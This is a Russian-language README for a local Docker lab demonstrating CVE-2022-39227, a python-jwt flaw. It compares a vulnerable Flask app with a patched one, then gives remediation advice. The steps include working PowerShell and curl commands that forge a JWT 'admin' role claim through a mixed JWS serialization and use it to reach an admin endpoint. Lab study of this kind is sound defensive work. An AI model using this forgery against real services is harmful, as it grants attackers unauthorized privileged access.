
Этот проект демонстрирует уязвимость CVE-2022-39227 в контролируемой локальной лабораторной среде. Эта уязвимость затрагивает библиотеку python-jwt (версии < 3.3.4) и позволяет атакующему подделывать утверждения JWT (claims) без знания секретного ключа, используя несогласованность парсинга (JWS Serialization) между python-jwt и его зависимостью jwcrypto.
Проект запускает два идентичных Flask-приложения с помощью Docker, различающихся только версиями зависимостей:
python-jwt==3.3.3)python-jwt==3.3.4)Оба приложения реализуют простое управление доступом на основе ролей (RBAC). Обычный пользователь (alice) может войти в систему и получить JWT. Только пользователи с ролью admin в своих JWT-утверждениях (claims) могут получить доступ к конечной точке /admin.
1. Запустите среду Убедитесь, что Docker Desktop запущен, затем выполните:
docker-compose up -d --build
Это запустит и уязвимый, и исправленный серверы в фоновом режиме.
Чтобы воспроизвести атаку, вы вручную выполните необработанные HTTP-запросы и манипуляции с payload в PowerShell. Это демонстрирует, что уязвимость находится в протоколе и логике парсинга библиотеки, а не во внешнем инструменте.
Шаг 1: Войдите в систему и получите действующий токен
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
Шаг 2: Разделите JWT на компоненты
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
Шаг 3: Декодируйте Payload, измените роль и перекодируйте в Base64Url
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
Шаг 4: Сформируйте вредоносный формат сериализации JWS
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
Шаг 5: Выполните атаку на оба сервера
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
Обновите python-jwt до версии 3.3.4 или более поздней. Кроме того, приложения должны применять строгую проверку подписи и проверять целостность payload непосредственно на уровне логики приложения, когда это возможно.
Этот проект выполнялся строго в локальной контролируемой лабораторной среде в образовательных целях. Ни сторонние системы, ни публичные сервисы, ни реальные пользовательские учетные записи не были затронуты.